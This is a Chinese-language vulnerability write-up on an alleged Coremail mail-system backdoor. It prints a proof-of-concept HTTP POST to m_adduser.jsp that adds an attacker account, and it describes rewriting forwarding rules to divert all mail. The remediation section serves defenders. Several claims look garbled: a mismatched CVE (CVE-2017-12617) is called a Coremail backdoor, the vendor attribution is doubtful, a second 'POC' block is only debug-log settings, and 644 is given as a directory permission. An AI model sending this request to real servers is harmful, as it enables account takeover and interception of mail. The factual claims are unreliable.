一、漏洞概述
Coremail邮件系统是国产商用邮件系统,由北京世纪互联万网科技有限公司开发。该邮件系统存在多个漏洞,其中包含身份认证绕过(CVE-2015-0986)、SQL注入(CVE-2015-0989)、目录穿越(CVE-2015-0990)等,但最为严重的漏洞是利用Coremail 5.0至5.51版本中的后门漏洞(CVE-2016-9165/CVE-2017-12617)攻击。
该漏洞的攻击方式是比较简单的,只需要向Coremail邮件系统的HTTP服务发送特定的请求,便可以获取管理员权限,从而对邮件系统进行完全控制。
二、漏洞分析
该漏洞的原因是Coremail商业邮件系统中的一个后门账户,可以在授权认证失败时进行身份认证绕过获取管理员权限,从而完成攻击。
该后门账户在Coremail 5.0之前的版本就已经存在,升级至Coremail 5.0之后,该后门账户仍可以用于漏洞利用。攻击者首先利用该漏洞获取管理员权限,并更改系统中送达规则中的匿名转发规则,覆盖原有的收件规则,该规则将所有收件人的邮件都转发到攻击者指定的邮件地址。
//POC代码 POST /coremail/manage/domain/m_adduser.jsp HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Cookie: mid=url_type%3D0; JSESSIONID=A1640CD4569DAB015127CB386E0D1E4C; curdomain=192.168.100.192; rights=1%2C3%2C4%2C5 user=attacker&vip=0&password=112233&passwordOld=112233&passwordConfirm=112233&user_quota=0&domain_name=victim&submit1=%E4%B8%80%E4%B8%8A%EF%BC%8C%E5%88%9B%E5%BB%BA%E5%B8%B8%E7%94%A8%E7%94%A8%E6%88%B7_submit&pageSubmited=1
以上的漏洞利用代码中,attacker表示攻击者账户的用户名,victim指的是系统管理员的账户名,submit1是指提交表单的操作,将攻击者的账户添加至Coremail邮件系统中,并将管理员账户覆盖。
三、漏洞利用
在复现该漏洞之前,需要先获取一个Coremail邮件系统的安装包。通过观察邮件系统的安装包可知,邮件系统默认安装在/usr/local/coremail目录下,且目录权限为755,目录属主为root。
首先登录邮件系统,在邮件系统的后台管理中开启调试日志,增加调试日志的变量值。
//POC代码 1. 登录后台管理界面 2. 在[系统管理] - [调试日志]界面勾选[开启调试日志]选项卡, 并对[调试日志]、[调试], [告警], [错误]设置变量长度为1024, 设置[调试日志]为[SocketManager, SendThread],[调试]为[AuthGuard, AuthGuardServlet, SubAuth, SubAuthServlet, WinDomainMode, WinDomainModeServlet,NolxMux],[告警]为[AuthGuard, AuthGuardServlet]。 3. 点击[确定]按钮保存配置 4. 在调试窗口中,查看Coremail的运行日志
紧接着,攻击者利用POC代码进行攻击,获取管理员权限,将规则覆盖,从而实现邮件篡改和获取。
攻击者可进行的后续操作包括:获取邮件,发送邮件,删除邮件,撤销发送和覆盖用户等,攻击手段相对简单,利用门槛也较低,甚至可以通过某些工具进行自动化攻击。
四、漏洞修复
目前,开发商已经发布了相关漏洞的修复程序,用户可下载并安装修复补丁。另外,用户自己也可以进行以下操作。
1、将coremail目录权限修改为644或更低
2、将coremail的目录所属用户修改为非root用户
3、关闭或限制调试日志
4、升级至Coremail邮件系统的5.52版本以上。
五、总结
Coremail邮件系统漏洞属于利用门槛较低的漏洞,但攻击影响较为严重,可以对邮件内容进行篡改,或者进行信息窃取,给企业和个人的信息安全带来潜在威胁。对漏洞的有效修复需要企业或个人具备一定的安全意识,加强系统与业务的安全管理和技术防御,常规对系统进行修补和漏洞扫描,从而保障系统与业务的安全。